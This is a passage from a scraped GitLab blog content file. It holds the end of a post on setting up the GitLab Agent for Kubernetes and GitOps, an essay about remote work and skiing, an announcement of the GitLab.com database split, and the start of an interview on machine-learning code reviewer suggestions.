cluster](https://about.gitlab.com/images/blogimages/baconcreatecluster.png){: .shadow}\n\nGitLab is a DevOps platform and in the list of DevOps actions, there is the monitoring part. \n\n![Chart of GitLab stages](https://about.gitlab.com/images/blogimages/baconstreamline.png){: .shadow}\n\nGitLab deploys an instance of Prometheus to get information about your cluster and facilitate the monitoring of your application.\n\nFor example, you can see how many pods are deployed and their states in your environment. You can also view some charts and information about your cluster, like memory and CPU available. All these metrics are available by default without changing the application of your cluster. We can also read the logs directly in GitLab. For a developer, it’s great to have all this information on the same tool and this allows us to save time. \n\n![Pod deployment](https://about.gitlab.com/images/blogimages/baconhealth.png){: .shadow}\n\n\n## A new way to integrate Kubernetes\n\nEverything I explained in the previous chapter doesn’t quite exist anymore. The release of GitLab 14.5 was the beginning of a revolution. The Kubernetes integration with certificates has limitations on security and many issues were created. GitLab teams worked on a new way to rely on your cluster. And in Version 14.5, the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/) was released! \n\n## GitLab Agent for Kubernetes\n\nGitLab Agent for Kubernetes is a new way to connect to your cluster. This solution is easy to explain: An agent installed on your cluster communicates with your GitLab instance with [gRPC](https://grpc.io/) protocol. Your agent offers you useful GitOps features I will explain later. The next picture shows you the GitLab Agent for Kubernetes architecture (from GitLab). \n\n![GitLab Agent for Kubernetes flow chart](https://about.gitlab.com/images/blogimages/baconkubernetesflowchart.png){: .shadow}\n\n### GitOps defined\n\nLet’s quickly define the term “[GitOps](/topics/gitops/)”: It’s a way to manage your infrastructure as code, in a Git project. For me, there are two aspects in GitOps: “pull” and “push” mode. \n\n- Push mode is when your Git project activates the upgrade of your infrastructure following a change. \n- Pull mode is when your infrastructure verifies without interruption of your Git project and applies changes automatically.\n\nAnd GitLab chose the latter mode for their solution of GitLab Agent for Kubernetes. Indeed, your agent available on your cluster will check frequently if your project changes. The gRPC protocol is great to respect this intent. When you push a modification on your project, agents detect it automatically, and then your cluster upgrades.\n\n### How the GitLab Agent for Kubernetes works\n\nThere are some actions to do to install and have a GitLab Agent for Kubernetes available on your project. \n\nFirst, if you create a new project on GitLab, you can use the template “Management cluster,” which allows the initialization of files. These files allow you to have examples of: \n- a declaration of an agent\n- a list of starter kits to install DevOps tools\n\nGitLab is a DevOps platform that wants to help you to configure all steps of the lifecycle of your project. You can find the configuration of tools like Prometheus, Sentry, Ingress, etc. I will detail this later.\n\n### The evolution of GitLab Agent for Kubernetes\n\nBefore explaining more details about this agent, you have to know one thing. This product is in constant evolution and your feedback is welcome in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/342696#note_899701396) to improve it. The roadmap is available and each version gives some information about its evolution.\n\n## How to use GitLab Agent for Kubernetes\n\nCreating an agent is simple. You have to create a file in the directory .gitlab/agents/\u003Cnameofyouragent>/config.yaml. \n\n\n![Connect cluster](https://about.gitlab.com/images/blogimages/baconstructure.png)\n\n\nThe default configuration should contain:\n- your project id, represented by your \u003Cuser or group>/project\n- a namespace by default to deploy applications if it’s not present in your yaml files\n- path of your yaml file to apply. This can be a specific file, a directory, or a pattern of files\n- level of debug\n\n```\n\ngitops:\n manifest_projects:\n - id: xxxxx/demo-gitlab-kubernetes-cluster-management\n   default_namespace: gitlab-kubernetes-agent-demo\n   paths:\n   - glob: 'deploy.yaml'\nobservability:\n logging:\n   level: debug\n\n```\n\nYou can add security to this configuration file with the “ci_access” property. For example, it allows developers to avoid destroying the Kubernetes infrastructure 😅. I didn’t explore in detail this part yet. \n\nAll configuration options are available on [this reference page](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html#gitops-configuration-reference). \n\nAfter creating and pushing your file in your project, you have to register your agent. And this action takes two seconds on the GitLab UI. \n\n![Add an agent](https://about.gitlab.com/images/blogimages/baconaddanagent.png){: .shadow}\n\nOn the next step, GitLab gives you the Docker command to install your agent on your cluster. For example:\n\n```\n\ndocker run --pull=always --rm \\\n    registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:stable generate \\\n    --agent-token=\u003Cyour token generated by GitLab> \\\n    --kas-address=wss://kas.gitlab.com \\\n    --agent-version stable \\\n    --namespace gitlab-kubernetes-agent | kubectl apply -f -\n\n```\nYou can copy-paste this command on your cluster and your agent will be available in a Kubernetes namespace. You can see on the GitLab UI that the link with the agent is successful.\n\n![Link with agent success](https://about.gitlab.com/images/blogimages/baconagentk.png){: .shadow}\n\n\nYou can also verify this connection in logs of agent container: \n\n```\n\n{\"level\":\"debug\",\"time\":\"2022-xx-xxT14:11:57.517Z\",\"msg\":\"Handled a connection successfully\",\"mod_name\":\"reverse_tunnel\"}  \n\n```\n\n### GitLab cluster management \n\nGitLab is a DevOps platform and uses tiers of applications to manage all the steps of a modern DevOps pipeline. The “Monitor” part in GitLab is based on some tools such as [Prometheus](https://prometheus.io/docs/visualization/grafana/),[Sentry](https://sentry.io/), [Vault](https://www.vaultproject.io/), etc. To help you, GitLab created the template [GitLab Cluster Management]( https://gitlab.com/gitlab-org/project-templates/cluster-management), which gives you a basic configuration of these tools.\n\nTo install these tools, a `.gitlab-ci.yml` file is created and defines a job to deploy them with helmfile configuration. All these tools, contained in the directory named “applications,” can be overridden or customized in `values.yaml` file. \n \nAnd for my experimentation, I used this template and applied a small change to have an external IP address for the Prometheus instance. After registering this external IP in GitLab (Menu Settings > Monitor > Alerts), the Monitor menu has data. We can check information about any pods deployed on my cluster. \n\n![Agent graph](https://about.gitlab.com/images/blogimages/baconagentgraph.png){: .shadow}\n\n## The GitOps aspect \n\nThe GitOps aspect can be verified quickly. If you choose to specify one manifest file defining an application deployment, a modification on this file implies an automatic deployment on your cluster. Without CI! This allows us to have a faster deployment than if we passed with a pipeline. The new features or fixes will be deployed faster on your infrastructures. And if you use the free version of GitLab, your deployment will not count in your CI quota. \n\nAfter a commit, the agent detects it and we can see the commit id in the agent logs.\n\n```\n{\"level\":\"info\",\"time\":\"2022-04-11T15:22:44.049Z\",\"msg\":\"Synchronizing objects\",\"mod_name\":\"gitops\",\"project_id\":\"jeanphi-baconnais/demo-gitlab-kubernetes-cluster-management\",\"agent_id\":12804,\"commit_id\":\"e2a82fe6cc82fa25e8d5a72584774f4751407558\"}\n\n```\n\n## CI/CD tunnel\n\nAnother feature that comes with the GitLab Agent for Kubernetes is the CI/CD tunnel. Your agent facilitates the interaction with your cluster. You just have to define a KUBE_CONTEXT variable referencing the path of your agent. \n\n```\nvariables:\nKUBE_CONTEXT: \"xxxxx/demo-gitlab-kubernetes-cluster-management:agentk\"\n\n```\n\nAnd actions on your cluster are available without secret configuration or anything else. If you want to execute `kubectl` commands, you can easily use this job:\n\n```\n\ntest-cicd-tunnel:\n stage: test\n extends: [.kube-context]\n image:\n   name: bitnami/kubectl:latest\n   entrypoint: [\"\"]\n script:\n  - kubectl get ns\n when: manual\n\n```\n\n## What's next\n\nCurrently, GitLab Agent for Kubernetes doesn’t allow you to get information about the state of pods on your cluster’s environment page.\n\n![Success](https://about.gitlab.com/images/blogimages/baconci.png){: .shadow}\n\nBut GitLab wants to offer the same level of service as the certificate integration. So, check the roadmap ([in this issue](https://gitlab.com/groups/gitlab-org/-/epics/3329)) and the contents of each release. The template Cluster Management is in progress, too. Some issues will give new features for configuration tools.\n\nThis experience was so rewarding for me. I would deploy a project on Google Cloud, and I discovered a new method. I saw this agent described in [GitLab 14.5](/releases/2021/11/22/gitlab-14-5-released/) but I didn’t imagine the impact it can have on a project. \n\nMy colleague [Eric Briand](https://twitter.com/eric_briand) and I had the opportunity to speak about this subject at [Malt Academy sessions](https://www.malt-academy.com/) and [Meetup GitLab France](https://www.meetup.com/GitLab-Meetup-France/events/283917115). I will continue to experiment with this agent and try different options for this wonderful product! \n\n**This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this video/blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.**\n\nCover image by [Ashin K Suresh](https://unsplash.com/photos/mkxTOAxqTTo) on Unsplash.\n{: .note}\n",[2509,267,4772,9297,2704],{"slug":13800,"featured":6,"template":678},"configuring-your-cluster-with-kubernetes-integration","content:en-us:blog:configuring-your-cluster-with-kubernetes-integration.yml","Configuring Your Cluster With Kubernetes Integration","en-us/blog/configuring-your-cluster-with-kubernetes-integration.yml","en-us/blog/configuring-your-cluster-with-kubernetes-integration",{"_path":13806,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13807,"content":13813,"config":13818,"_id":13820,"_type":16,"title":13821,"_source":17,"_file":13822,"_stem":13823,"_extension":20},"/en-us/blog/best-life-best-work",{"title":13808,"description":13809,"ogTitle":13808,"ogDescription":13809,"noIndex":6,"ogImage":13810,"ogUrl":13811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13811,"schema":13812},"Ski first, work later - How to win the burnout battle","How I truly achieved work/life balance with an all-remote async working style.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682336/Blog/Hero%20Images/taylor-peak.jpg","https://about.gitlab.com/blog/best-life-best-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ski first, work later - How to win the burnout battle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2022-06-07\",\n      }",{"title":13808,"description":13809,"authors":13814,"heroImage":13810,"date":13815,"body":13816,"category":299,"tags":13817},[6860],"2022-06-07","\n\nIt's 9:13 am and 20 degrees outside in Big Sky, Montana. I'm bundled up in my warm rainbow pride ski suit. Dangling 30 feet in the crisp air, perched on a ski lift, I'm on my way up to a double black diamond run 9,382 feet above sea level. There are few people out this early on a Wednesday morning. I ski off the top of the lift and enjoy a beautifully untracked run of champagne powder snow, fresh from last night's snowstorm. This is a normal start to the workday for me. And I have a bit of a secret to admit, this is exactly why I joined GitLab.\n\n![Taylor on a chair lift at Big Sky Resort](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/chair-lift.jpg)\n\n## Something's gotta give\n\nRewind two years to January 2020, before I joined GitLab. Before I had materialized my daily skiing routine. Before I moved to Big Sky. Before the global Covid-19 pandemic. I had decided I needed to make a change in my life. I had spent the past decade of my life climbing the startup tech career ladder. Along the way I had sacrificed my health, happiness, and my mental and emotional well-being. I was burnt out. While I don't think I'd change anything going back, I knew the next decade wouldn't sustain that lack of work and life balance. I needed to get back to being the person my friends and family knew: a slim guy with a smile always on his face and a hopeful outlook for the future.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## A remote change\n\nGitLab had been on my radar for a number of years as many of my tech friends had become DevOps engineers, but I had not used it myself. What I did know was at the time they were one of the few [truly remote companies with no offices and a global team embracing an async work style](/company/culture/all-remote/tips/#how-it-works-at-gitlab). \n\nWhile I hadn't ever worked remotely before, I knew I liked the idea of not being stuck in a bland office of noisy and distracting open floor layout workspaces surrounded by silly ping pong tables and unlimited snacks. My previous employers thought these things made for a 'supportive environment and 'great work culture'. I couldn't disagree more. It was a scary thought to have less structure, but my previous decade had shown me those offices weren't conducive to my sanity, happiness, or productivity. So I decided, let's go all in.\n\nI knew I wanted to make a big change, so I tested GitLab when I was interviewing. I gauged reactions from my interview panel as I described my desire to move to a ski mountain and balance working and skiing. I was caught by surprise. Every person I interviewed with loved this idea and encouraged me that GitLab's remote and async working style would be supportive of this plan. Just about everyone had a story of how they themselves had adjusted their schedule to add flexibility to their lives. I was convinced. This was the future. \n\n## A global pandemic \n\nTwo months after joining GitLab in January 2020, the pandemic ruined my plans to relocate to a wintry wonderland. I delayed my move, diving into work like many of us did, mainly because there wasn't anything better to do. Fast-forward to December 2020 – it was clear Covid wasn't going away anytime soon. I had gained the Covid 15 lbs. from sheltering in place in my Austin, Texas, apartment for the past nine months. It was time for a change. I needed to prioritize my sanity and health. An outdoor sport like skiing seemed like a relatively low-risk activity. The move was back on. \n\nBy February 2021, I had relocated to Big Sky, 1,600 miles away from the state I had lived in for my entire life. With zero friends and only two bags to a town of 3,000 people. I had visited Big Sky a number of times on ski trips with friends in the years before, and each time the three-to-four day trip never seemed long enough. Now I would be able to call this place my home. \n\n![Welcome sign to Big Sky, Montana](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/welcome-to-bigsky.jpg)\n\n## A new chapter\n\n2021 was the year of me. I was turning 30, exploring a new life living in a mountain town. It's hard to believe how fast your life can completely change. I went from being depressed and unhappy living a sedentary life in Texas to being out and about on a beautiful mountain nearly daily with a new sense of self. \n\nI've done things I never thought I would, or could, do. I took up hiking. I learned to enjoy the outdoors by visiting Yellowstone National Park, just 30 minutes from my house. I also explored 13 other national and state parks. I learned downhill mountain biking. I rode over 1,000 miles downhill on my mountain bike. I've explored mountains in five states and two countries, and I've skied and biked in the shadow of the Grand Tetons. I skied 186 days at 20 resorts across the last two ski seasons. I went on a combination ski and biking trip to the mountains of Salt Lake City and Moab, Utah, and to the mountains of Canada. Along the way I lost 25 lbs., getting me back to a healthy weight I felt good about. \n\n![Collage of Taylor's adventures while at Gitlab](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/collage.jpg)\n\n## Happy people do their best work\n\nAnd you know what else is crazy? I've been doing my best work since all this. [GitLab went public](/blog/gitlab-inc-takes-the-devops-platform-public/) last October. I am now establishing and leading [a new machine learning team](/direction/modelops/) at a public company, all from rural Montana. This also presented me with an opportunity to even further embrace remote async life. \n\nWith my new ModelOps team at GitLab, I have a number of team members in APAC, so I decided this past winter to switch to working evenings, embracing some of my favorite GitLab values: [Measure results not hours](https://handbook.gitlab.com/handbook/values/#measure-results-not-hours) and [shifting working hours for a cause](https://handbook.gitlab.com/handbook/values/#shift-working-hours-for-a-cause). This change allows me to ski and mountain bike during the day and, as a night owl, leverage my most productive hours overlapping with more of my colleagues in APAC. \n\n![Taylor biking in Glacier National Park](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/glacier.jpg)\n\nNow I can join my evening team meetings in person rather than relying on a recording and notes. I always enjoy when I meet with my team members as they always want to know: \"What mountain are you on today?\" It's a simple small talk question, but it's just another way we connect virtually and get to know each other better as people. And, of course, at GitLab we have a Slack channel for everything. I frequently post and share my adventures in #DevSkiOps and #mountainbiking and enjoy swapping photos, tips, and articles with my fellow GitLab skiers and bikers. But let's have the numbers speak for themselves. Here are my '21/'22 ski season metrics, and I can't wait for this summer's mountain biking adventures.  \n\n![Taylor's 2021/22 Ski metrics](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/slopesapp.jpg)\n\nMy journey to the mountains and switching up my working schedule all showcase my favorite value at GitLab: [Don't wait](https://handbook.gitlab.com/handbook/values/#dont-wait). I think this value applies to our personal lives as much as it does to our professional ones. Life is short, and the pandemic has made that even more real as we've lost so many friends and family so early. Gone are the days of sacrificing your life for 9-5 dead-end jobs. We're realizing life has so much more to offer and employers are increasingly recognizing that happy employees do their best work. \n\nHad you asked me two years ago if I'd see myself living in a small mountain town skiing and biking nearly daily while working at a public company, living my best personal life, and doing the best work of my career, I would have thought you were crazy. But now it's my life. All thanks to the [remote and async lifestyle](/company/culture/all-remote/guide/#the-remote-manifesto) GitLab empowers. And the best part, [we're hiring](/jobs/).\n\n![GitLab Remote Work Promo with Taylor](https://about.gitlab.com/images/blogimages/2022-06-04-best-life-best-work/ski-promo.png)\n",[676,3798],{"slug":13819,"featured":6,"template":678},"best-life-best-work","content:en-us:blog:best-life-best-work.yml","Best Life Best Work","en-us/blog/best-life-best-work.yml","en-us/blog/best-life-best-work",{"_path":13825,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13826,"content":13831,"config":13837,"_id":13839,"_type":16,"title":13840,"_source":17,"_file":13841,"_stem":13842,"_extension":20},"/en-us/blog/splitting-database-into-main-and-ci",{"title":13827,"description":13828,"ogTitle":13827,"ogDescription":13828,"noIndex":6,"ogImage":9591,"ogUrl":13829,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13829,"schema":13830},"We are splitting our database into Main and CI","We are splitting our database into Main and CI to improve the scalability and reliability of GitLab.com.","https://about.gitlab.com/blog/splitting-database-into-main-and-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are splitting our database into Main and CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"},{\"@type\":\"Person\",\"name\":\"Douglas Alexandre\"}],\n        \"datePublished\": \"2022-06-02\",\n      }",{"title":13827,"description":13828,"authors":13832,"heroImage":9591,"date":13834,"body":13835,"category":299,"tags":13836},[1719,13833],"Douglas Alexandre","2022-06-02","\nImproving the performance and reliability of GitLab.com has always been a top priority for GitLab. While we continuously make iterative improvements to GitLab and our production architecture, we anticipate making a larger change to improve the scalability and reliability of GitLab.com: We are splitting our single PostgreSQL database into a `main` and a `ci` database.\n\nWe believe this process, also known as [functional decomposition](/company/team/structure/working-groups/database-scalability/#functional-decomposition-split), will increase GitLab's database capacity by roughly 2x and allows GitLab.com to continue to scale.\n\n## When will the split take place and what does this mean for users of GitLab.com?\n\nThis change is planned to take place between Saturday, 2022-07-02, 05:00am UTC and Saturday, 2022-07-02, 09:00am UTC. The implementation of this change is anticipated to include a **service downtime of up to 120 minutes** between Saturday, 2022-07-02, 06:00am to 08:00am UTC. During this time you will experience complete service disruption of GitLab.com.\n\nWe are taking downtime to ensure that the application works as expected following the split and to minimize the risk of any data integrity issues.\n\n## Background\n\nGitLab.com's [database architecture](/handbook/engineering/infrastructure/production/architecture/#database-architecture) uses a single PostgreSQL database cluster. This single cluster (let's call it `main`), consists of a single primary and multiple read-only replicas and stores the data generated by all GitLab features. Database reads can be scaled horizontally through read-only replicas, but writes cannot because PostgreSQL does not support active-active replication natively.\n\nA large portion of all writes are generated by features related to Continuous Integration (CI). So, to scale GitLab.com's database capacity, we are splitting the single PostgreSQL main cluster into two clusters:\n\n1. A Continuous Integration database cluster for all CI-related features (`ci`).\n1. A database cluster for all other features (`main`).\n\nAt a high level, GitLab.com's database architecture is changing like this:\n\n![Illustration of splitting into Main and CI](https://about.gitlab.com/images/blogimages/decomposition-illustration-blog.png){: .center}\n\nYou can learn more by visiting our public epic: [Decompose GitLab.com's database to improve scalability](https://gitlab.com/groups/gitlab-org/-/epics/6168).\n\n## Impact\n\nSplitting our database into `main` and `ci` initially will only impact GitLab.com. To ensure consistency, we plan to enable [decomposition for self-managed GitLab instances](https://gitlab.com/groups/gitlab-org/-/epics/7509) later. While this split is a significant architectural change that we believe will increase GitLab's database capacity by roughly 2x, there are other benefits as well.  \n\n### Increased performance\n\nBy running two separate database clusters, we believe we will increase the overall count of available database connections. This means we can serve more traffic. It also means that during peak hours there is more buffer, which reduces the likelihood of congestion that may cause performance and UX degradations.\n\nAnother significant advantage is that we anticipate we will be able to tune the `main` and `ci` databases independently, allowing us to optimize these different workloads.\n\n### Increased stability\n\nSplitting the database cluster into `main` and `ci` means that `ci` writes are shifting to the `ci` database cluster. We anticipate this will lead to reduced database saturation, which is a major cause of incidents. Consequently, we believe that the overall stability of GitLab.com may increase following the split.\n\nWe believe increased stability means that development teams can spend more time working on generating value through new features and other improvements and less time guarding against potential issues.\n\n### Shipping as fast as ever\n\nA primary objective of this project was to provide tooling to our development teams so that they can continue to develop features that use multiple databases. All of these tools, for example [loose foreign keys](https://docs.gitlab.com/ee/development/database/loose_foreign_keys.html) or new [data migrations for multiple databases](https://docs.gitlab.com/ee/development/database/migrations_for_multiple_databases.html), are available already and used in production.\n\nWith these tools in place, we expect that teams will be able to ship features as fast as before.\n\n### Tools and dashboards re-use\n\nThis change does introduce additional complexity. After all, we will run another database cluster. Given that the `ci` cluster is almost identical to the existing `main` cluster, our DBREs and SREs are able to re-use almost all tools (for example for backups) and dashboards. This reduces the overall risk introduced by this change.\n\n## How we are preparing for the split\n\nOver the last year, many teams at GitLab have worked to support running GitLab using multiple databases. In total, more than 600 merge requests made it into the product. Because we chose a [phased rollout approach](https://gitlab.com/groups/gitlab-org/-/epics/6160#roll-out-plan), almost all developed capabilities are already running on our production systems.\n\n- We've already provisioned a standby-cluster that [serves CI read-only data](https://gitlab.com/groups/gitlab-org/-/epics/6160#phase-3-serve-ci-reads-from-ci-standby-cluster) but, crucially, **not** writes on GitLab.com. This increases our confidence that this cluster is correctly provisioned and fully functional.\n- We've also split out all [CI write traffic into a separate connection](https://gitlab.com/groups/gitlab-org/-/epics/6160#phase-3-serve-ci-reads-from-ci-standby-cluster). From an application standpoint, it appears as if we are already using a `ci` and a `main` database. This gives us confidence that the application changes are working correctly.\n- Our CI pipelines also fully support running against multiple databases and all tests are passing.\n\nWhat is left is promoting the `ci` standby cluster so that all CI **reads and writes** are accepted on that cluster.\n\n## How we're working to ensure a smooth split\n\nThe [Pods group](/handbook/engineering/development/enablement/data_stores/pods/) is working closely with our SREs, DBREs and Quality to rehearse for the production change. These rehearsals include dry runs, executing the promotion of the `ci` database cluster, and testing our rollback strategies. All of these steps are tracked as part of a CI decomposition change template. This template is continuously improved to ensure that we capture all learnings from the rehearsals. The template is mirrored onto our Ops GitLab instance, which will remain available during the downtime window and forms the basis for executing the change.\n\nThe general process of the split can be described as follows:\n\n1. Running health checks\n1. Stopping all incoming traffic\n1. Promoting the CI database cluster to take reads and writes\n1. Running QA\n1. Allowing incoming traffic\n\nWe have developed and are extensively testing rollback plans.\n\nA [detailed timeline](https://gitlab.com/groups/gitlab-org/-/epics/7791#proposed-timeline) is available and we publish [daily asynchronous technical updates](https://gitlab.com/groups/gitlab-org/-/epics/7791#last-async-update) of our progress.\n",[754,754,774,267],{"slug":13838,"featured":6,"template":678},"splitting-database-into-main-and-ci","content:en-us:blog:splitting-database-into-main-and-ci.yml","Splitting Database Into Main And Ci","en-us/blog/splitting-database-into-main-and-ci.yml","en-us/blog/splitting-database-into-main-and-ci",{"_path":13844,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13845,"content":13851,"config":13856,"_id":13858,"_type":16,"title":13859,"_source":17,"_file":13860,"_stem":13861,"_extension":20},"/en-us/blog/unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review",{"title":13846,"description":13847,"ogTitle":13846,"ogDescription":13847,"noIndex":6,"ogImage":13848,"ogUrl":13849,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13849,"schema":13850},"GitLab transforms code review with machine learning tools","Learn how last year's acquisition has resulted in impactful features for the One DevOps Platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668002/Blog/Hero%20Images/pg-gear.jpg","https://about.gitlab.com/blog/unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"UnReview a year later: How GitLab is transforming DevOps code review with ML-powered functionality\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2022-06-02\",\n      }",{"title":13852,"description":13847,"authors":13853,"heroImage":13848,"date":13834,"body":13854,"category":962,"tags":13855},"UnReview a year later: How GitLab is transforming DevOps code review with ML-powered functionality",[6860],"\n\nA little over a year ago, [GitLab acquired UnReview](/press/releases/2021-06-02-gitlab-acquires-unreview-machine-learning-capabilities.html), a machine learning-based solution for automatically identifying [relevant code reviewers](/stages-devops-lifecycle/create/) and distributing review workloads and knowledge. Our goal is to integrate UnReview’s ML-powered code review features throughout GitLab, the One DevOps Platform. We checked in with Taylor McCaslin, principal product manager, ModelOps, at GitLab, to find out the impact UnReview has had so far and what comes next.\n\n**The idea of applying machine learning to code review was already underway at GitLab before the UnReview acquisition. What was it about ML/AI and automation that seemed a good fit for the code review process? How did the UnReview acquisition affect that strategy?**\n\nThe acquisition of UnReview gave GitLab a practical way to get started with a really focused value proposition that was obvious to the platform. ML/AI is a lot more than just having a useful algorithm. UnReview and its team gave GitLab talent with experience building MLOps pipelines and working with production DataOps workflows. As a source code management ([SCM](/solutions/source-code-management/)) and continuous integration ([CI](/topics/ci-cd/)) platform, MLOps and DataOps are key ambitions for our ModelOps stage. UnReview is the foundational anchor of our AI Assisted group, and we anticipate developing more ML-powered features with the base that we’ve built integrating UnReview into our One DevOps platform. If it’s something you manually set today within GitLab, we’ll consider suggestions and automations: suggested labels, assignees, issue relationships, etc. You can learn more about our plans on our [AI Assisted direction page](/direction/modelops/ai_assisted/).\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n**There were [three specific objectives with the UnReview project](/handbook/engineering/development/data-science/ai-assisted/projects/unreview/#overview) when you first started:**\n- **Eliminate the time wasted manually searching for an appropriate code reviewer to review code changes.**\n- **Make optimum recommendations that consider the reviewers’ experience and optimize the review load across the team, which additionally facilitates knowledge sharing.**\n- **Provide analytics on the state of code review in the project, explaining why a particular code reviewer is recommended.**\n\n**Have you had to change or add to these in any way?**\n\nWe now have Suggested Reviewers running for external beta customers as well as dogfooding it internally. We’ve learned a lot about what makes a good code reviewer. Some of the obvious things like context with the changed files and history of committing to that area of code are obvious. But there are less obvious things like what type of code someone has experience with (front-end or back-end).\n\nWe’re finding the concept of recency interesting: the idea that people who more recently interacted with files and functions may be better suited to review the code. Also, people leave companies, and that’s usually not something that can be inferred by the source graph, so we’re working on merging additional GitLab activity data with the recommendation engine.\n\nIn addition, we’re thinking a lot about bias in our recommendations. For example, a senior engineer likely has the most commits across a project, but we don’t always want to recommend a senior engineer. The more we work with the algorithm and recommendations, the more nuanced we find it.\n\nNot every organization does code review the same way, so we’re considering building different models for those that have no process versus organizations that have very rigid and hierarchical reviewer requirements. We also have to consider how recommendations interact with other features of the platform like code owners, maintainer roles, and commit access.\n\nWe’ve never been more excited about the potential of machine learning within GitLab. Some of the feedback we’ve had from beta customers are “this feels like magic” and that honestly encapsulates what we’re going for. Sometimes the right code reviewer is just a feeling that you can’t quite put your finger on. Through data and a little bit of magic, we may see Suggested Reviewers help speed up workflows, and cut down on back and forth and wasted time trying to find someone to do a great review of your code.\n\n**Introducing ML-powered features can come with challenges, especially being GitLab’s first data science feature. Can you speak to some of those challenges and how the team overcame them?**\n\nIt has been about a year since we closed the transaction. During that time period we’ve introduced a lot of new concepts to GitLab. Access to real-time data within the feature with DataOps extraction and cleaning of platform activity data. We have an end-to-end MLOps pipeline running 100% within GitLab CI that extracts, builds, trains, and deploys the UnReview model, and new observability metrics to know if the whole system is working. These are all foundational concepts that we’ve had to build from the ground up.\n\nAlso, we’ve introduced Python to the GitLab tech stack and have to develop new engineering standards and hiring interview practices to find the right talent for this team. We’re now turning the corner of this foundational work and I anticipate that relatively soon we’ll release Suggested Reviewers fully integrated with the platform and UI.\n\nMilestones have been part of the way we’ve sliced up the integration work. We have a variety of internal milestones we’ve been tracking against, including porting the model into GitLab SCM and CI, building the Dataops and MLOps pipelines, and internal and external customer betas. It’s helpful to have these milestones to know what’s most important at any given time and not to get overwhelmed with all the moving pieces. We’re paving a new path with ML-powered features at GitLab, and once we’re done we’ll have a repeatable process and template to replicate over and over with new data science-powered features.\n\n**What has been the most surprising thing you’ve encountered or learned since UnReview first debuted?**\n\nCode Reviewers are foundational to the software development lifecycle. We thought this would be a really straightforward feature, but it turns out people REALLY care about recommendations. People hate bad suggestions so when the recommendations are wrong, the feedback is fast and furious. But when it’s right, it feels like magic. That really surprised me how positively people respond to a great suggestion.\n\nA lot of GitLab users have asked me what our success metric is for Suggested Reviewers. It should just feel like magic. Maybe you don’t know why someone was chosen, but you just feel they were the right person to review the change. And hopefully that leads to a more thoughtful code review, reduces the back and forth of trying to find someone to review your code, and ultimately creates a better experience end-to-end. A lot of engineers dread code reviews; we want to change that. I hope Suggested Reviewers can take the pain out of the experience and make it something engineers look forward to. That’s the feeling we’re trying to create with our recommendations. Obvious but magic.\n\n**What’s next for UnReview specifically and DevOps code review more generally? Where do you see the next big advances happening?**\n\nWe’re just scratching the surface. There are so many opportunities for recommendations and automations across the platform. We have a lot of data at GitLab, from the source graph, contribution history, CI builds, test logs, security scans, and deployment data. We believe all of this can be integrated together. I’m particularly excited about what we’re calling [Intelligent Code Security](/direction/modelops/ai_assisted/#categories). The idea is that we will be able to look at your source code as you’re writing it, analyze it for security vulnerabilities, and not only suggest fixes to common security flaws, but also apply that change, run your CI, confirm the build succeeds, confirm the vulnerability was resolved, and possibly even deploy that change, all automatically.\n\nImagine the future where your code gets more secure automatically while you sleep. That sounds wild, but we have the data to power [a feature like this in the future](/direction/modelops/ai_assisted/#categories). Suggested Reviewers is just the beginning. We haven’t seen many DevOps platforms fully embrace the data, code, and activity data that they have in a material way. I think we’ll see a lot more in this space moving forward as development platforms identify the massive opportunities to drive efficiencies and remove the frustrating parts of software development from the process.\n",[4103,1207,1384,232,790],{"slug":13857,"featured":6,"template":678},"unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review","content:en-us:blog:unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review.yml","Unreview A Year Later How Gitlab Is Being Transformed By Ml Powered Code 